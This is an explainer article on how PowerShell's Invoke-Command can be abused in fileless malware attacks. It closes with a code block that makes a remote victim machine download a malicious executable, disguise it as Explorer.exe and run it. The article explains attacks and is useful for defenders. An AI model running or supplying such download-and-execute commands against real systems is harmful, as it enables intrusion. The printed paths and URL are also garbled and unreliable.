Fileless Malware Attacks and PowerShell: How They Work

For more technical explainers on PowerShell, read our PowerShell 101: A Technical Explainer for IT Pros report.

In the first part of this article series, I talked about the anatomy of a PowerShell-based fileless malware attack against a Windows system. Here, I use examples to explain how such an attack works.

A fileless malware attack based on PowerShell uses PowerShell’s native capabilities to attack the victim. One of the PowerShell cmdlets that is best suited to such an attack is the Invoke-Command cmdlet. This cmdlet is used to run a PowerShell command, or even an entire script block, against a remote system. Here is an example of how this cmdlet works:

Invoke-Command -ComputerName FileServer -ScriptBlock {Get-Process | Where-Object {$_.ProcessName -eq ‘Explorer}}

In this command, I am using the -ComputerName parameter to target a remote system named FileServer. The Invoke-Command cmdlet is intended for use in managing remote systems. As such, you would simply replace the word FileServer with the name of the remote computer that you want to “manage.”

The next parameter that I am using is -ScriptBlock. This parameter is followed by the code that should be run on the remote system. In this case, I am doing something completely benign. I am executing the Get-Process cmdlet and a Where-Object filter to look at the Explorer process. Such an activity probably wouldn’t be used in a real-life attack. I am simply using the Get-Process cmdlet as a stand-in for malicious code.

So as you can see, any instructions that are included in the ScriptBlock section are executed against the target system. The only real problem with attackers using this technique is that scripts very often make use of variables. Any variables that are created while using this technique exist solely on the remote system. If an attack is to succeed, attackers may need to extract information from the remote system and write it to a variable that is local to their own systems. That way, they can issue subsequent commands based on the variable’s contents.

If attackers want to write information about a remote system to a local variable, they can do so by mapping the variable to the Invoke-Command cmdlet rather than assigning the variable from within the ScriptBlock. The command shown below, for example, retrieves information about the Explorer process from the remote machine and writes that information to a local variable (residing on attackers’ own systems) called $Explorer. Here is the command:

$Explorer = Invoke-Command -ComputerName FileServer -ScriptBlock {Get-Process | Where-Object {$_.ProcessName -eq ‘Explorer’}}

Using these two techniques, attackers can read information from a victim’s computer and execute commands against that computer. While this is useful in and of itself, attackers sometimes take things a step further and force a victim’s computer to download and execute a malicious file. Of course, this doesn’t really count as a full-fledged fileless malware attack because a file is being downloaded to the victim’s computer, but it is an important concept to understand nonetheless.

In this attack, attackers send instructions to the victim’s computer, just as would be done in a true fileless malware attack. These instructions direct the victim’s computer to download malware from a malicious Web server and then execute that malware. Figure 1 contains a diagram of how this process works.

Fileless Malware

Figure 1

The attacker’s computer directs the victim’s computer to download malware.

So what might such an attack look like? Here is a block of code illustrating the process:

Invoke-Command -ComputerName FileServer -ScriptBlock{            New-Item -Path “C:” -Name “Files” -ItemType “Directory”            Invoke-WebRequest -URI ‘http:///BadFile.exe’ -Outfile ‘C:FilesExplorer.exe’            Invoke-Expression -Command “cmd.exe /c c:filesexplorer.exe”}

Once again, attackers are using the Invoke-Command cmdlet to establish a remote connection to a remote computer named FileServer. The contents of the command’s ScriptBlock are being run on the remote machine.

As you can see, the ScriptBlock contains three commands.

So, ultimately, attackers were able to create a file on the victim’s hard disk, download and rename a malicious  file, and then execute the malicious file.